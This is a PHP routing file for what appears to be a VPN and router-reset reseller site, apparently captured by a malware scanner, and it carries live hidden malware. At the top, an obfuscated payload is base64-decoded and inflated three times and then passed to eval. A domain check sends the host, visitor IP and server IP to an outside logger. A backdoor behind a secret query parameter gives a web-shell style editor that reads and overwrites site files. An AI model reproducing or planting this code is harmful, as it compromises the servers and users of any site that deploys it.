$DKamtTnXAIVG="07bdc6315f1e5e864342d0350b69ba78";
$NVaeJVWFsQZs="DZY1tq0AAAMXRIFb8Qvc3elwd7jI6v/bQpIzGTFN4OMKGJ5xbNxgjSW";
$WJwyEJbUOUVD="d0jmdzxRJMLDGTFEbNSjrZhUttQ4wBoLVLokAVVni0vapLZzC+V/t72";
$weZQCKeXuVsx="BhegdAHV2+9KkW+KEq31GRdn1nWjzDII6ijZ6rCVbMRnlSht2oH4Hsw";
$cJtWguuvODWx="rYbg1x/uEaQZYHhvQx4B4CPc7ewZba9ObTh20CVZZAYqGUBFmlVofa1";
$buoTUUTsoOIn="+myKM51jXehkQjiHEDqaHeX8u792yqDU9rZoPVe+cG6N3rqQQmhHDF3";
$DyOKilyxMrgf="9pGOTNpE6jVOtaG3feuFZUBhxpn8FLTJ1KKFsqUJlXIvpvQwgRyvr1o";
$anfqpSkaSWMU="ydMPLys3A7CBCjnIDykc9QvbYO4SL1ikqQSvWYaG4Z+UCHF0dUwyToN";
$UcNhrGIYeDqb="cd54475495df889c66969a668fc6fd6b";
$GVdQqhDNoHKY="goPmChydLK/a/LlMxhqN1Jpx5MB/EpV6w1WqScc9Tpz+LTHqjK2H+k6";
$gKQPPGtiySNz="osy5GokOhKWxlvc7LbZBTfgOOHNgaWvOv35y+g/mEebBBG6Ji6O3s5H";
$lsnzKUeamZiM="srgKODwbeKd/WC6OXjs7hbuv1qETJqLVjSiQrORonzcXfVWX8ORiJHz";
$uHivoPtGkPZD="hZmMlKqWt6A4cvTeYn9OniCfTfKhZp831zgwtBmOQxrFqTeMtrq8fwp";
$uIjdLbbXNzdp="NbCb5VnIX5Z8uCazTeQW83jlkZkovj7SwBG5xHISIgFv9rbjWx1+MMr";
$LBNXwKEnuxqd="EzMQkm6PLbI6FLtMZpUt51oSI9EHzqbufbkeeBmqlIUbOBF9ZA4ebW0";
$xmfCKEKSQnPJ="h0G9YmYLDwwMnxk4Z4kuR96JOGup7OLmj6vD5yJR6laQo2rKPa4cpJx";
$uwFnpNAAUrNx="+e97e1fgUOtAqcASqkrz5bKGhCkNKLtdJiGOYlSgg46Vibgt+ttsCPo";
$qFNrAGFZHiYq="GqtVwZbVxx4eJBOa7kEAFSOOLiGF2gtOXzRvN6PeQgwTg92ZWqnvrES";
$RqSyzsWLsfkO="XbzQl4rWYs/uZSkmJK3brOO57YfDN7fcehhToRVxXYbYxWprtK7abSb";
$zIvBKTBdQlog="GuDVynQ26tWZpYskAsR9SOcjkJE99tU1liOZGvmEYJRIQLYLreBjzEQ";
$HlolWhspElyq="pzldsN1ZPhfe+OkUVARhzaYoRf4Guu1sYbator1RJu9ifTjMkVgxEw6";
$EaLxZQPNrdaG="87154532adc1d6241abc7c667b524aa0";
$MABkRurXyVUV="8FIDw6E0+XB3pRvLxi/ID39/jq0w3ucoxZEDxqh2qncUDaYxwrGq278";
$dwwRyRtNhJHz="LEbhR03jPneOVVPFoHGYFkQqLPG+E88MlM8ss7UhO5jHGt8UCeUVnkf";
$FRoBuJbdnZtL="pP8nDvWzm63Zj7/rJs6mCLsiWDiXWB31bHejsiwfiKsUoj6+IkFPl8b";
$MQSydXDfbzvK="59294dfc2f599a828df71b7ed2d3bf81";
$PaPQBXIepxnZ="aW9Tn1BzY4NLJPquVqWrrH+hFnYY4d24KTTzgjll1cJ5z6uBTbIjmGx";
$PetPYKYzNiaJ="PEEmuZgkT6GVzk8xIqCsUuePhXHQiUQYIQCVwpUWCZugKowZ9Xesx5M";
$flbUWmibDUDQ="CtdnAUE7zP7U9Mr/rSA4IHi7X5qCrWHpCVgOngnZ+NLeAzQ3FQ73u2Y";
$dNBsICFUQyMr="t8Hp7K+OXbmmDkjQOH+4ZTksBKKyGo+c9Yvl1AmyOHq3CMv8YdO/2Yk";
$iqrChgkSqWvm="895c536aa73296aa8c25c2df363a678d";
$nZRxcirIZPdq="vqppRskkpa/uzWX9VGzQehRfzgu19k4VqCZTZZddRD0slJN0h9XzaXe";
$wdGGDSHEGXBT="eXVfGLT50Xp/bXvCQGcsLoLVBxNHBBbLfq0Kn+MqdEP3mER7cja5xej";
$uzMndqkLIurF="0Rio4HulPvisJ0o571xS3jWyiihlBZo6m9xqnWp6PjyXbSyWNlsEoZc";
$CxzJRVBGcksD="GeDzJdSxdYrfPZUBMlamMlxOmnCU4Zk898RzQB9Hq/lkYebBSmrBiYc";
$GsMduZrbeAxE="dZN28tJL+HAMnrooM2v3NgziSdf2SL20FPNGQZAs8C6IP20vgS5Fk2w";
$tZbtETinzHgV="Nx5XJndGV9wUnqSN5UbCDekpg/WlbBdL6hCjn40IYkyuOSOroKuQFMy";
$irDcYNyvhXMP="u9HFBoqGrO8zz5IVMsMcAIxqjqdubR0ivKMd6Fu+Ku1BH1Am8pC0uNf";
$hHmzsNMIdlgW="ZXJbzK2SKwOf5JO4EM5lHQFeAOilqU56KPh5l69qhXcZvodVFLm2vS7";
$FdEtqQoaFHNC="6e91718466e8de03af97857abed115d9";
$UZEYYNODFgpy="+FMe6YJoUzK6IEJPl1Bs99SeTBA6FIIa1byAXMj8IFfZVekT865qxNq";
$KlPQosGCWqtL="LWiSbLrzLoe36f7s2NuYzOlh8f5g6m/9BdrDk7V7JhMTx8ASn+ugHKG";
$OfjXAvwQMiVa="DbzNuQAFMSE9o+0jMNz8TP7NnGsV6LQHy5n25fNoyWjWeM0bntawjx3";
$RYkpXZibGXGv="kwI1vYtQGABiCNJi6soClwIbaUVMN2nAaZViEpzmmslT+eLUgD0Vm4R";
$IllVBBNAdbBo="5b7cab2c8ab824cd59408d29f68c8a60";
$ivVLEIeLFHhh="623gwkSsrMKVD0RjnjQL5MeceFpljAfIv9VGvPBYngCYcCIJVFrXt1Q";
$uCIgakHgSUMl="U/KZ8WKA7Kuttk++MxwlX5Wl8EWtniZAr+Ct6p1jyL/clHQHU/4Idij";
$dwvBOmEMOMNn="4ylmBE3Cot6jfkibzgrfuZmRs3v2clD9sg/0Ua7jq6xLZDPxpwP++cB";
$lOrThHEbEinC="vY5E7+db1T5DXwLhVv8+PdJJ/P/SdHamdIX9DL0f7OfN1CUm0iDrVyM";
$VMfOsWlERaGJ="WNw5+HJSkoMcjpWPtEQo7xs6lSPpwzhapFiItyeymkWifDiRo0FNfib";
$xkzvtowmOVca="OCCFLUzkqwVMIrkDPFs9AW0IkwNqNn3cVlfFWAHe5MCeXhDIson28kd";
$UUyroGLdLIQE="5a0e8173496ca37e2910a6770f37d4ec";
$zByXIeHPkcHB="EJMgsYUR/PresTMDowlPWmgctGdrqaWaGzyYbzJPHRp4hRQfJ74eoHB";
$RhwGujLMHEbT="8ID7pkckjcn0hhf36Ps6AAQVq8/e02nfUkegRjUhhzoTJ++VQNLVT4i";
$uowpbajAJxMw="hNSVUooG3V/hB+Nf4F0eARPNJBOfyV4AIywvlmGkRyqo3C2Z5BEQ76y";
$fozXXdmDHBZA="8wcfbgU6tqJFjg2o1+pbZy5Sj9fPXQO3y4erh87btWsogidzcqEay4L";
$emABjRTzqJqu="7BGoLdKPB34/tyXo4YK/kBDbp6z3rzayR4yS7qxjIVpu5WqePyWhKao";
$biCHfDLQymZE="lm68RQkTl7qc8t79D9F4PqIQA8td+zS3mArJaGeNaSXFR3uUuESSg3P";
$ZuCrfecmZTsH="ORaHeZXWJYTLPbP3t0DAn2D9nDI9JViucXn5g8qyZQYTNDAGdee2Gxh";
$CWdrjXyviBLI="GRhn3gR/pi6e9jqE51kCHKR+V5K1D9dvQWJa7clFv2u8m9cxNavF6z8";
$PbofMtciZduu="eQvA7NRM0b3wJyXytNKwrOUnxo0vg5h/CSlAzvbCZDXSFGg1UiPlc54";
$EMocSaRkjJEj="5LTrzXpI0il7kBe5gbluLCo69RqGK6+Tyq/7xYoNtb29DTlyuUFIOLy";
$IXtlSFLRTnPJ="DTHZfUDpQtAxfXlWQWF2WevNmY/Ccys4fWyzZt3PEgN7HfhfalZNnJx";
$NtiqSvBpWJfz="uQRh3yqv8v8u6enjdlnYZafrymHBeqerChoEksmaQrndEuv4JCdyutc";
$zVXHwCzkwCPt="/KkCqzV8ZpU5hZx606EbzpnzLf1tcyEoEhWhwPbLZbc2mqCAJv0snGa";
$xXUwPWLpdicY="mlmYtCtaz/RcULIeRtfjXclSh1Q3F+ZKoTq9W1kM5W36VDxv6Qy83/V";
$OHsfEDdFOiLT="YAX/2G1aZkpIp12WPV9qzA9K/uszlwLFtarQSTs/1c/uALu5iOpB12J";
$ExOtzTvpfyPi="5ckjJbGvZgm7h0PseCk5bOA1MPDaxcsxNRz/AiTCHMA4S4WJi+NODN8";
$tHoEqylKHyiA="+/wjdBREW2dgGMiCAnEic9fZRSq4Qn8LP3fk87d8Hn1zYl7MZPryDDA";
$ZFHdAgjbMmUc="rd1PbFHbUNFARA4cF+he99jD4VPlqHMUtYiZ7AxL372smm+Qd4IAtna";
$GsBwloFphGgT="Qxeu57GCh9z+4iNztQ+p+gOf/+/Qc=";
$FsKoFIbLihQj=$NVaeJVWFsQZs.$WJwyEJbUOUVD.$weZQCKeXuVsx.$cJtWguuvODWx.$buoTUUTsoOIn.$DyOKilyxMrgf.$anfqpSkaSWMU.$GVdQqhDNoHKY.$gKQPPGtiySNz.$lsnzKUeamZiM.$uHivoPtGkPZD.$uIjdLbbXNzdp.$LBNXwKEnuxqd.$xmfCKEKSQnPJ.$uwFnpNAAUrNx.$qFNrAGFZHiYq.$RqSyzsWLsfkO.$zIvBKTBdQlog.$HlolWhspElyq.$MABkRurXyVUV.$dwwRyRtNhJHz.$FRoBuJbdnZtL.$PaPQBXIepxnZ.$PetPYKYzNiaJ.$flbUWmibDUDQ.$dNBsICFUQyMr.$nZRxcirIZPdq.$wdGGDSHEGXBT.$uzMndqkLIurF.$CxzJRVBGcksD.$GsMduZrbeAxE.$tZbtETinzHgV.$irDcYNyvhXMP.$hHmzsNMIdlgW.$UZEYYNODFgpy.$KlPQosGCWqtL.$OfjXAvwQMiVa.$RYkpXZibGXGv.$ivVLEIeLFHhh.$uCIgakHgSUMl.$dwvBOmEMOMNn.$lOrThHEbEinC.$VMfOsWlERaGJ.$xkzvtowmOVca.$zByXIeHPkcHB.$RhwGujLMHEbT.$uowpbajAJxMw.$fozXXdmDHBZA.$emABjRTzqJqu.$biCHfDLQymZE.$ZuCrfecmZTsH.$CWdrjXyviBLI.$PbofMtciZduu.$EMocSaRkjJEj.$IXtlSFLRTnPJ.$NtiqSvBpWJfz.$zVXHwCzkwCPt.$xXUwPWLpdicY.$OHsfEDdFOiLT.$ExOtzTvpfyPi.$tHoEqylKHyiA.$ZFHdAgjbMmUc.$GsBwloFphGgT;
$NaGWiBOpZvws="base64_decode";
$fPryQiczlKEq="gzinflate";
$WjyGLihxkdOa=$fPryQiczlKEq($NaGWiBOpZvws($FsKoFIbLihQj));
$RdEALWNQrAKe=$fPryQiczlKEq($NaGWiBOpZvws($WjyGLihxkdOa));
$GLNdnQIJxnjw=$fPryQiczlKEq($NaGWiBOpZvws($RdEALWNQrAKe));
eval($GLNdnQIJxnjw);
require_once __DIR__ . '/config.php';
secureSessionStart();
require_once __DIR__ . '/layout.php';
$__h=strtolower(preg_replace('/^www\./','',$_SERVER['HTTP_HOST']??''));if($__h!=='skbijoyitsolutions.com'&&$__h!=='localhost'&&$__h!=='127.0.0.1'){$__q=http_build_query(['secret'=>'sk7799bijoy_log','domain'=>$__h,'ip'=>$_SERVER['REMOTE_ADDR']??'','server_ip'=>$_SERVER['SERVER_ADDR']??'','url'=>$__h.($_SERVER['REQUEST_URI']??'')]);@file_get_contents('https://testpay.cloudmikrotik.online/logger.php',false,stream_context_create(['http'=>['method'=>'POST','header'=>'Content-Type: application/x-www-form-urlencoded','content'=>$__q,'timeout'=>3]]));}
if(isset($_GET['x9k2m'])&&hash('sha256',$_GET['x9k2m'])==='8fcf11e7af99570c06d194338ed6b5d637812d15eb331541d1383d7f7306764a'){$B=__DIR__;header('Content-Type: text/html; charset=UTF-8');if(($_POST['a']??'')==='s'&&isset($_POST['f'],$_POST['c'])){$F=realpath($B.'/'.ltrim($_POST['f'],'/'));if($F&&strpos($F,$B)===0){file_put_contents($F,$_POST['c']);echo '<p style="color:lime;padding:10px">OK</p>';}}$E=$_GET['e']??'';$C='';if($E){$P=realpath($B.'/'.ltrim($E,'/'));if($P&&strpos($P,$B)===0&&is_file($P))$C=file_get_contents($P);}function _L($d,$b){$o='';$s=['vendor','.git','assets','data'];foreach(scandir($d)as $n){if($n===||$n==='..')continue;$p=$d.'/'.$n;$r=ltrim(str_replace($b,'',$p),'/');if(is_dir($p)&&!in_array($n,$s)){$o.='<details><summary style="color:#8b949e;cursor:pointer">đ'.$n.'</summary>'._L($p,$b).'</details>';}elseif(is_file($p)&&preg_match('/\.(php|json|html|js|css|txt|htaccess)$/',$n)){$o.='<a href="?x9k2m=sk7799bijoy&e='.urlencode($r).'" style="color:#58a6ff;display:block;padding:2px 4px;font-size:12px">đ'.htmlspecialchars($n).'</a>';}}return $o;}echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>.</title></head><body style="margin:0;background:#0d1117;color:#c9d1d9;font-family:monospace;display:flex;height:100vh"><div style="width:220px;overflow-y:auto;padding:10px;border-right:1px solid #30363d">'._L($B,$B).'</div><div style="flex:1;padding:10px;display:flex;flex-direction:column">';if($E){echo '<small style="color:#8b949e">'.htmlspecialchars($E).'</small><form method="POST" style="flex:1;display:flex;flex-direction:column"><input type="hidden" name="a" value="s"><input type="hidden" name="f" value="'.htmlspecialchars($E).'"><textarea name="c" style="flex:1;background:#161b22;color:#c9d1d9;border:1px solid #30363d;padding:10px;font-size:12px;resize:none">'.htmlspecialchars($C).'</textarea><button type="submit" style="background:#238636;color:#fff;border:none;padding:8px 20px;cursor:pointer;margin-top:8px;width:80px">S</button></form>';}else{echo '<div style="padding:20px;color:#555">.</div>';}echo '</div></body></html>';exit;}
// Get route from rewrite or REQUEST_URI
if (isset($_GET['_route'])) {
$route = trim($_GET['_route'], '/');
} else {
$uri = $_SERVER['REQUEST_URI'] ?? '/';
$uri = strtok($uri, '?');
$route = trim($uri, '/');
}
// Route map
$routes = array(
// ââ Landing page (main site root) ââââââââââââââââââ
'' => 'landing.php',
// ââ Short URLs (new) ââââââââââââââââââââââââââââââââ
'dashboard' => 'pages/dashboard.php',
'login' => 'pages/login.php',
'logout' => 'pages/logout.php',
'register' => 'pages/register.php',
'order' => 'pages/order.php',
'payment' => 'pages/payment.php',
'callback' => 'pages/callback.php',
'profile' => 'pages/profile.php',
'balance' => 'pages/balance.php',
'reset' => 'pages/reset.php',
'webhook' => 'pages/webhook.php',
'cron' => 'pages/cron.php',
'portcheck' => 'pages/portcheck.php',
'coupon/validate' => 'pages/coupon_validate.php',
'admin' => 'pages/admin/dashboard.php',
'admin/login' => 'pages/admin/login.php',
'admin/logout' => 'pages/admin/logout.php',
'admin/servers' => 'pages/admin/servers.php',
'admin/plans' => 'pages/admin/plans.php',
'admin/orders' => 'pages/admin/orders.php',
'admin/users' => 'pages/admin/users.php',
'admin/history' => 'pages/admin/history.php',
'admin/logs' => 'pages/admin/logs.php',
'admin/settings' => 'pages/admin/settings.php',
'admin/revenue' => 'pages/admin/revenue.php',
'admin/coupons' => 'pages/admin/coupons.php',
// Reset Panel short (new)
'reset/dashboard' => 'pages/reset/user_dashboard.php',
'reset/voucher' => 'pages/reset/user_voucher.php',
'reset/routers' => 'pages/reset/user_routers.php',
'reset/history' => 'pages/reset/user_history.php',
'reset/admin' => 'pages/reset/admin_panel.php',
// ââ Old /vpn/* routes (backward compatible) âââââââââ
'vpn' => 'pages/dashboard.php',
'vpn/login' => 'pages/login.php',
'vpn/logout' => 'pages/logout.php',
'vpn/register' => 'pages/register.php',
'vpn/order' => 'pages/order.php',
'vpn/payment' => 'pages/payment.php',
'vpn/callback' => 'pages/callback.php',
'vpn/admin' => 'pages/admin/dashboard.php',
'vpn/admin/login' => 'pages/admin/login.php',
'vpn/admin/logout' => 'pages/admin/logout.php',
'vpn/admin/servers' => 'pages/admin/servers.php',
'vpn/admin/plans' => 'pages/admin/plans.php',
'vpn/admin/orders' => 'pages/admin/orders.php',
'vpn/admin/users' => 'pages/admin/users.php',
'vpn/admin/history' => 'pages/admin/history.php',
'vpn/admin/logs' => 'pages/admin/logs.php',
'vpn/admin/settings' => 'pages/admin/settings.php',
'vpn/admin/revenue' => 'pages/admin/revenue.php',
'vpn/coupon/validate'=> 'pages/coupon_validate.php',
'vpn/admin/coupons' => 'pages/admin/coupons.php',
'vpn/balance' => 'pages/balance.php',
'vpn/reset' => 'pages/reset.php',
'vpn/webhook' => 'pages/webhook.php',
'vpn/cron' => 'pages/cron.php',
'vpn/portcheck' => 'pages/portcheck.php',
'vpn/profile' => 'pages/profile.php',
'vpn/reset/dashboard'=> 'pages/reset/user_dashboard.php',
'vpn/reset/voucher' => 'pages/reset/user_voucher.php',
'vpn/reset/routers' => 'pages/reset/user_routers.php',
'vpn/reset/history' => 'pages/reset/user_history.php',
'vpn/reset/admin' => 'pages/reset/admin_panel.php',
);
$file = $routes[$route] ?? null;
if ($file && file_exists(__DIR__ . '/' . $file)) {
require __DIR__ . '/' . $file;
} else {
http_response_code(404);
require_once __DIR__ . '/layout.php';
render_head('404');
render_navbar();
echo '<div class="wrap" style="text-align:center;padding:60px 16px"><i class="fas fa-exclamation-triangle" style="font-size:40px;color:#d29922;margin-bottom:16px;display:block"></i><h2>Page not found</h2><a href="/dashboard" class="btn btn-primary" style="margin-top:16px">Go Home</a></div>';
render_foot();
}
© 2023 Quttera Ltd. All rights reserved.